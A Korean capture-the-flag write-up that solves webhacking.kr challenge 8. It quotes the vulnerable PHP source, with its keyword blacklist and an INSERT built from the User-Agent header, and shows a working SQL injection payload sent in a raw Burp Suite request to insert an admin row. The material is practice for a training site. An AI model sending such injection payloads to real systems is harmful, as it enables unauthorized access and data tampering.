

# webhacking.kr 8번문제

Xero

박준혁 (한양대학교 신소재공학부 2학년 군휴학 중)

2016-04-03

Email : wnsgurzxc@naver.com

Facebook : <https://www.facebook.com/wnsgurzxc>

다음과 같은 글이 보인다.

새로고침 할 때마다 숫자가 올라가고 70이 되면 다시 1부터 시작한다.

USER-AGENT

done! (0/70)

소스를 보니 주석으로 index.php가 있어서 들어가보니 다음과 같았다.

```
$agent=getenv("HTTP_USER_AGENT"); #USER_AGENT 환경변수 값을 받아옴
$ip=$_SERVER[REMOTE_ADDR]; #ip 값을 받아옴
$agent=trim($agent); #공백 제거
$agent=str_replace(".", "_", $agent);
$agent=str_replace("/", "_", $agent); #.와 /를 _로 치환
$pat="/\\|\\*|union|char|ascii|select|out|infor|schema|columns|sub| -
|\\+|\\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\\([0-
9]|sys|pass|\\.|like|and|\\'|\\'|sub/";
$agent=strtolower($agent); #영어소문자로 바꿈
if(preg_match($pat, $agent)) exit("Access Denied!"); # $pat의 값이 있다면 종료
$_SERVER[HTTP_USER_AGENT]=str_replace("", "", $_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\\'", "'", $_SERVER[HTTP_USER_AGENT]); #'와 \를 없앴
$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }
$q=@mysql_query("select id from lv0 where agent='".$_SERVER[HTTP_USER_AGENT]'");
$cck=@mysql_fetch_array($q);
if($cck)
{
echo("<hi <b>$cck[0]</b><p>");
if($cck[0]=="admin")
{
@solve();
@mysql_query("delete from lv0");
}
}
if(!$cck) #cck가 없다면
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or
die("query error"); #데이터 입력
echo("<br><br>done! ($count_ck[0]/70)");
}
```

소스를 해석해보면 guest으로만 값을 넣는데 admin을 뽑아야 한다.

agent 변수 값을 가져오는 것을 이용하여 agent변수에 sql injection을 해보았다.

\$agent에 xero','1234','admin')#을 넣어보자.

그러면 sql 구문이 다음과 같이 변한다.

Insert into lv0(agent,ip,id) values('xero','1234','admin')#','\$ip','guest')

따라서 #뒤의 구문은 없어지고 강제로 xero에 admin 값이 들어가게 된다.

Burp Suite로 다음과 같이 보냈다.

Raw	Params	Headers	Hex
<pre>GET /challenge/web/web-08/ HTTP/1.1 Host: webhacking.kr Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 User-Agent: xero','1234','admin')# Accept-Encoding: gzip, deflate, sdch Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: PHPSESSID=fjh0fdf7ilvre6ke7mncvhsd1 Connection: close</pre>			

그리고 User-Agent를 그냥 xero로 보내보니 다음과 같이 admin으로 로그인 됐다.

USER-AGENT hi admin

그러면 클리어된다.

You have cleared the 8 problems.

Score + 350